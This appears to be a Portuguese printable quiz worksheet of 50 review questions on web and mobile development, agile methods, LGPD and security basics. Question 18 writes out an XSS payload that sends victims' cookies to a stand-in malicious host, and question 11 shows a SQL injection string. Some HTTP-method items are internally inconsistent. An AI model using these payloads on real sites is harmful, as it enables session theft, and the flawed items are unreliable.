wayground logo

Free Printable Worksheets

Font size

S
M
L
XL
Worksheets

Revisão 3° Sistemas (AVB3)

Total questions: 50

Worksheet time: 2hrs 40mins

Name
Class
Date
1.

Framework mais popular para desenvolvimento de aplicações mobile

(a)  

2.

Kauã está desenvolvendo uma API REST para um sistema de gerenciamento de produtos. Ele precisa criar um novo produto em uma URL específica, substituindo qualquer produto existente nessa URL. Qual método HTTP Kauã deve usar, sabendo que esse método não é idempotente?

a)

GET

b)

POST

c)

PUT

d)

DELETE

3.

Framework para criar aplicações mobile

2 lines
4.

Qual é a principal função de um middleware em uma aplicação Express.js?

a)

Definir as rotas da aplicação, como `/usuarios` ou `/produtos`.

b)

Conectar-se diretamente ao banco de dados para executar consultas SQL.

c)

Executar código durante o ciclo de vida da requisição-resposta, podendo modificar os objetos `req` e `res`.

d)

Renderizar a interface do usuário final no navegador.

5.

Henry trabalha no departamento de recursos humanos de uma empresa e está revisando diferentes tipos de informações dos funcionários para garantir a conformidade com a Lei Geral de Proteção de Dados (LGPD). Qual das opções a seguir contém apenas dados considerados 'sensíveis' segundo a LGPD?

a)

CPF, endereço residencial e histórico de compras.

b)

Idade, profissão e estado civil.

c)

Nome, e-mail e telefone.

d)

Dado genético, filiação a sindicato e opinião política.

6.

Cite um tipo de dado pessoal

2 lines
7.

Qual técnica de ataque explora a confiança de um usuário em um site legítimo para executar scripts maliciosos no navegador da vítima?

a)

Cross-Site Scripting (XSS)

b)

SQL Injection

c)

Engenharia Social

d)

Ataque de Negação de Serviço (DoS)

8.

Dentro dos valores do Manifesto Ágil, o que significa 'Colaboração com o cliente mais que negociação de contratos'?

a)

Que o cliente deve ter acesso direto ao código-fonte para fazer as alterações que desejar.

b)

Que a equipe de desenvolvimento deve envolver o cliente continuamente para garantir que o produto atenda às suas necessidades.

c)

Que o cliente é o único responsável por definir todas as tarefas do time de desenvolvimento.

d)

Que os contratos formais devem ser completamente ignorados em todos os projetos.

9.

Um desenvolvedor está construindo uma API para um blog. Ele precisa de um endpoint para que os moderadores possam aprovar um comentário, alterando seu status de 'pendente' para 'aprovado'. Múltiplas aprovações no mesmo comentário não devem gerar novos registros ou erros, o resultado final deve ser sempre 'aprovado'. Qual método HTTP é o mais semanticamente correto para a rota `/comentarios/123/aprovacao` e por quê?

a)

GET, porque o servidor precisa primeiro 'obter' o comentário para depois aprová-lo.

b)

POST, porque está enviando uma nova informação (a aprovação) para o servidor.

c)

PUT, porque ele está aplicando uma modificação parcial no recurso 'comentário'.

d)

PUT, porque a operação é idempotente.

10.

Em uma aplicação web, qual é a principal diferença entre REST e o padrão MVC (Model-View-Controller)?

a)

REST é usado para frontend e MVC para backend.

b)

REST é uma arquitetura cliente servidor e MVC é a separação de responsabilidades.

c)

MVC é uma arquitetura estrutural e REST é a separação de responsabilidades.

d)

MVC é um framework e REST é uma biblioteca.

11.

Um sistema escolar armazena as notas dos alunos em uma tabela `Notas` com as colunas `aluno_id`, `disciplina` e `nota`. Um atacante, tentando descobrir notas de outros alunos, consegue injetar o seguinte trecho em um campo de busca que é concatenado diretamente em uma consulta SQL: `' OR 1=1; --`. O que essa injeção de SQL provavelmente causará?

a)

A consulta apagará a tabela de notas, devido ao comando `DROP TABLE` implícito.

b)

Nada acontecerá, pois os sistemas modernos de banco de dados bloqueiam automaticamente o uso de `;` em consultas.

c)

O sistema retornará um erro, pois `1=1` não é um nome de aluno válido.

d)

A condição da consulta se tornará sempre verdadeira, potencialmente retornando todas as notas de todos os alunos da tabela.

12.

Qual princípio da LGPD estabelece que o tratamento de dados deve ser limitado ao mínimo necessário para a realização de suas finalidades?

a)

Princípio da Necessidade

b)

Princípio da Finalidade

c)

Princípio da Segurança

d)

Princípio da Transparência

13.

Uma startup está desenvolvendo um aplicativo de fitness. Eles optaram por usar Scrum. Na metade da primeira Sprint, o Product Owner (PO) percebe, com base no feedback inicial de usuários-piloto, que uma das funcionalidades em desenvolvimento é muito mais complexa do que o esperado e menos valiosa do que se pensava. Qual seria a atitude mais ágil a ser tomada pela equipe?

a)

O PO e o Time de Desenvolvimento devem se reunir imediatamente para renegociar o escopo da Sprint, potencialmente removendo a funcionalidade problemática e substituindo-a por outra de valor similar do Product Backlog.

b)

Continuar a Sprint conforme planejado para não quebrar as regras do Scrum, e discutir a funcionalidade na próxima Sprint Retrospective.

c)

O Time de Desenvolvimento deve trabalhar horas extras para terminar a funcionalidade complexa, mantendo o compromisso da Sprint a todo custo.

d)

O PO deve cancelar a Sprint imediatamente, pois o objetivo da Sprint não pode mais ser alcançado.

14.

Metodologia ágil focada na divisão de papeis

(a)  

15.

Em uma equipe de desenvolvimento formada por Francisco, Nayara e Guilherme, eles utilizam o sistema Kanban para organizar suas tarefas. Qual é a principal finalidade de limitar o 'Trabalho em Progresso' (WIP) nesse sistema?

a)

Permitir que o gerente de projetos atribua tarefas de forma mais eficaz.

b)

Dividir o trabalho em Sprints de duas semanas, assim como no Scrum.

c)

Garantir que todos os membros da equipe estejam sempre ocupados com múltiplas tarefas.

d)

Promover um fluxo de trabalho suave e contínuo, evitando gargalos e melhorando o tempo de entrega.

16.

Qual dos seguintes é um exemplo de SaaS (Software as a Service)?

a)

O servidor web Apache rodando em uma hospedagem contratada.

b)

O sistema operacional Windows instalado no seu computador.

c)

O jogo Counter-Strike comprado e instalado via Steam.

d)

Uma assinatura do Google Workspace (G-Suite) ou Microsoft 365.

17.

Luna está desenvolvendo um sistema de gerenciamento de usuários e implementa uma funcionalidade para excluir usuários via API RESTful. Ela faz uma requisição DELETE /usuarios/42 e recebe como resposta o código de status HTTP 204 No Content. O que essa resposta significa para Luna?

a)

O servidor processou a solicitação com sucesso e não há nenhum conteúdo adicional para enviar no corpo da resposta.

b)

Ocorreu um erro e o usuário não foi encontrado no servidor.

c)

A solicitação foi bem-sucedida, mas o cliente não tem permissão para ver a resposta.

d)

O recurso foi marcado para exclusão, mas a operação ainda está pendente de confirmação.

18.

Um invasor consegue explorar uma vulnerabilidade em um formulário de comentários de um site para inserir o seguinte código: `<script>document.location='http://site-malicioso.com/captura.php?cookie='+document.cookie</script>`. Qual tipo de ataque está sendo realizado e qual é o seu objetivo principal?

a)

SQL Injection, para roubar senhas do banco de dados.

b)

Cross-Site Scripting (XSS), para roubar os cookies de sessão de outros usuários.

c)

Phishing, para enganar o usuário e fazê-lo digitar suas credenciais em uma página falsa.

d)

Denial of Service (DoS), para derrubar o servidor do site.

19.

Em um contexto de Resposta a Incidentes de Segurança, por que a fase de 'Contenção' é crucial e qual é o principal dilema que as equipes de segurança enfrentam durante essa fase?

a)

É crucial para formatar todos os sistemas e restaurar backups. O dilema é escolher qual backup usar.

b)

É crucial para comunicar o incidente à Autoridade Nacional de Proteção de Dados (ANPD). O dilema é calcular o valor da multa a ser paga.

c)

É crucial para limitar a propagação do ataque e minimizar os danos. O dilema é equilibrar a rapidez da ação (ex: desconectar um servidor) com a necessidade de preservar evidências para investigação.

d)

É crucial para acelerar a propagação do ataque e maximizas os danos. O dilema é diminuir a rapidez da ação (ex: desconectar um servidor) com a necessidade de preservar evidências para investigação.

20.

Crie um componente de UI onde é permitido apenas uma resposta por item

21.

Linguagem de programação do framework Flutter

(a)  

22.

Quais sãos os verbos HTTP?

2 lines
23.

Evelyn está desenvolvendo um aplicativo em React Native e precisa adicionar e gerenciar o estado interno de um componente funcional. Qual hook ela deve usar para isso?

a)

useState

b)

setState

c)

componentState

d)

useEffect

24.

2. Qual a linguagem de programação utilizada pelo framework React Native?

a)

React

b)

Dart

c)

Java

d)

JavaScript

25.

Na arquitetura MVT (Model-View-Template) do Django, qual camada é responsável por interagir com o banco de dados?

a)

Controller

b)

Template

c)

View

d)

Model

26.

Qual é a Lei nº 13.709/2018?

(a)  

27.

Qual prática profissional é essencial para garantir a qualidade do código e compartilhar conhecimento antes de integrar novas funcionalidades a um projeto em equipe?

a)

Fazer o deploy direto para produção.

b)

Aguardar a reunião semanal para apresentar o código.

c)

Enviar o código por e-mail para o gestor.

d)

Code Review (Revisão de Código).

28.

No contexto ágil, qual a principal diferença entre Scrum e Kanban?

a)

Kanban possui um Scrum Master, o Scrum não.

b)

Scrum não permite mudanças durante a Sprint, Kanban sim.

c)

Scrum usa Sprints; Kanban foca no fluxo contínuo.

d)

Kanban é para desenvolvimento e Scrum para gerenciamento.

29.

Liam está desenvolvendo um aplicativo que exige o melhor desempenho possível e acesso total aos recursos do dispositivo, como câmera, GPS e sensores. Qual abordagem de desenvolvimento mobile ele deve escolher?

a)

Nativo.

b)

Híbrido.

c)

Responsivo.

d)

PWA (Progressive Web App).

30.

Qual é a diferença fundamental na forma como o Flutter e o React Native renderizam a interface do usuário?

a)

Flutter desenha seus próprios widgets na tela usando uma engine gráfica (Skia), enquanto React Native usa os componentes nativos da plataforma.

b)

Ambos convertem o código para componentes nativos da plataforma.

c)

React Native compila para código nativo e Flutter é interpretado em tempo de execução.

d)

React desenha seus próprios widgets na tela usando uma engine gráfica (Skia), enquanto Flutter usa os componentes nativos da plataforma.

31.

Kai está desenvolvendo uma nova aplicação desktop no ecossistema Java e deseja utilizar um framework moderno para criar interfaces ricas. Qual framework ele deve escolher como sucessor da biblioteca Swing?

a)

JDBC

b)

Hibernate

c)

Spring

d)

JavaFX

32.

Rohan está liderando uma startup que decidiu lançar seu produto seguindo a metodologia Lean Startup. Qual das ações abaixo contradiz diretamente os princípios dessa abordagem?

a)

Utilizar métricas para medir o engajamento do usuário e 'pivotar' (mudar a estratégia) com base nos dados coletados.

b)

Lançar um MVP (Produto Mínimo Viável) para testar a hipótese central do negócio.

c)

Passar 18 meses em modo 'stealth' (secreto) desenvolvendo a versão completa e perfeita do produto antes de mostrá-la a qualquer cliente.

d)

Realizar entrevistas com potenciais clientes antes mesmo de escrever a primeira linha de código.

33.

Qual o propósito principal do arquivo `pubspec.yaml` em um projeto Flutter?

a)

Definir metadados do projeto e gerenciar dependências.

b)

Configurar permissões nativas do Android e iOS.

c)

Declarar as rotas de navegação da aplicação.

d)

Armazenar variáveis de ambiente globais.

34.

Cite um exemplo de CMS

2 lines
35.

Isaac e Guilherme estão discutindo sobre ferramentas de desenvolvimento. Considerando o ecossistema de desenvolvimento, o que são Django e Java, respectivamente?

a)

Linguagem e Framework.

b)

Framework Java e Linguagem de Programação.

c)

Framework Python e Linguagem de programação.

d)

Ambos são frameworks.

36.

Mia abriu uma pequena empresa e precisa de um site institucional rapidamente e com baixo custo. Qual a solução mais indicada para ela?

a)

Criar uma aplicação desktop em JavaFX.

b)

Usar um CMS como o WordPress.

c)

Desenvolver um sistema do zero com Django e React.

d)

Contratar uma grande agência de publicidade.

37.

Por que o código Java é frequentemente criticado por sua 'verbosidade' e 'boilerplate'?

a)

Porque sua tipagem dinâmica causa muitos erros em tempo de execução.

b)

Porque a Máquina Virtual Java (JVM) é notoriamente lenta.

c)

Pela necessidade de escrever muito código para tarefas simples, com sintaxe explícita e estruturas de classes detalhadas.

d)

Pela necessidade de escrever pouco código para tarefas simples, com sintaxe dinâmica e estruturas de classes automatizadas.

38.

Na arquitetura MVC (Model-View-Controller), qual camada é responsável por processar a lógica de negócios e intermediar a comunicação entre as outras camadas?

a)

View

b)

Controller

c)

Template

d)

Model

39.

Ao consumir uma API REST, qual código de status HTTP indica que um recurso foi criado com sucesso?

a)

200 OK

b)

400 Bad Request

c)

201 Created

d)

204 No Content

40.

Ao realizar uma requisição GET /produtos/100 em uma API RESTful, o servidor responde com o código de status HTTP 404 Not Found. O que isso indica para o cliente?

a)

O cliente não tem permissão para acessar o recurso.

b)

O recurso foi criado com sucesso.

c)

O servidor processou a solicitação com sucesso, mas não há conteúdo para retornar.

d)

O recurso solicitado não foi encontrado no servidor.

41.

Emma está desenvolvendo um aplicativo usando a arquitetura MVC. Ela precisa decidir qual camada será responsável por exibir os dados ao usuário e receber suas interações. Qual camada Emma deve escolher?

a)

Model

b)

View

c)

Controller

d)

Service

42.

Ao proteger um formulário web contra ataques de injeção de SQL, qual das práticas abaixo é a mais recomendada?

a)

Concatenar os dados do usuário diretamente na consulta SQL.

b)

Desabilitar o uso de senhas no banco de dados.

c)

Permitir que o usuário insira comandos SQL diretamente.

d)

Utilizar consultas parametrizadas (prepared statements).

43.

No contexto do Manifesto Ágil, o que significa 'Responder a mudanças mais que seguir um plano'?

a)

Que o planejamento deve ser completamente ignorado em projetos ágeis.

b)

Que a equipe deve ser flexível e adaptar o desenvolvimento conforme surgem novas necessidades ou feedbacks.

c)

Que mudanças só podem ser feitas após a entrega final do produto.

d)

Que o plano inicial é sempre mais importante do que as necessidades do cliente.

44.

Qual das opções abaixo é uma vantagem do desenvolvimento mobile nativo em relação ao desenvolvimento híbrido?

a)

Melhor desempenho e integração com recursos específicos do dispositivo.

b)

Maior facilidade de manutenção do código.

c)

Menor custo de desenvolvimento inicial.

d)

Atualizações automáticas em todas as plataformas simultaneamente.

45.

Durante a resposta a um incidente de segurança, qual é o objetivo principal da fase de 'Erradicação'?

a)

Remover completamente a causa raiz do incidente e restaurar os sistemas ao estado seguro.

b)

Desconectar todos os sistemas da rede para evitar novos ataques.

c)

Comunicar o incidente aos usuários afetados.

d)

Coletar evidências para análise forense.

46.

O que acontece se você esquecer de rodar o comando flutter pub get após adicionar uma nova dependência no pubspec.yaml?

a)

O projeto apresentará erros de compilação por não encontrar a dependência adicionada.

b)

O Flutter irá baixar automaticamente as dependências na próxima execução.

c)

O projeto será compilado normalmente, sem problemas.

d)

O arquivo pubspec.yaml será excluído automaticamente.

47.

Em uma equipe de desenvolvimento formada por Hélio, Francisco e Pedro, eles percebem que a comunicação entre eles é fundamental para o sucesso do projeto. No contexto do Manifesto Ágil, qual valor enfatiza a importância de 'Indivíduos e interações mais que processos e ferramentas'?

a)

Seguir estritamente todos os processos definidos, independentemente das necessidades da equipe.

b)

Focar apenas na documentação detalhada do projeto.

c)

Ignorar completamente o uso de ferramentas no projeto.

d)

Priorizar a comunicação e colaboração entre as pessoas da equipe em vez de depender exclusivamente de processos rígidos ou ferramentas.

48.

Aria está desenvolvendo um sistema de gerenciamento de usuários e precisa atualizar apenas o endereço de e-mail de um usuário existente via API REST. Qual método HTTP Aria deve usar para atualizar parcialmente esse recurso?

a)

GET

b)

PUT

c)

POST

d)

DELETE

49.

No React Native, qual hook é utilizado para executar efeitos colaterais, como requisições a APIs, após a renderização do componente?

a)

useState

b)

useEffect

c)

useReducer

d)

useCallback

50.

No desenvolvimento de aplicações web, qual é a principal vantagem de utilizar o padrão MVC?

a)

Permite que o código seja executado apenas no frontend.

b)

Facilita a separação de responsabilidades entre dados, interface e lógica de controle.

c)

Elimina a necessidade de banco de dados.

d)

Garante que não haverá bugs no sistema.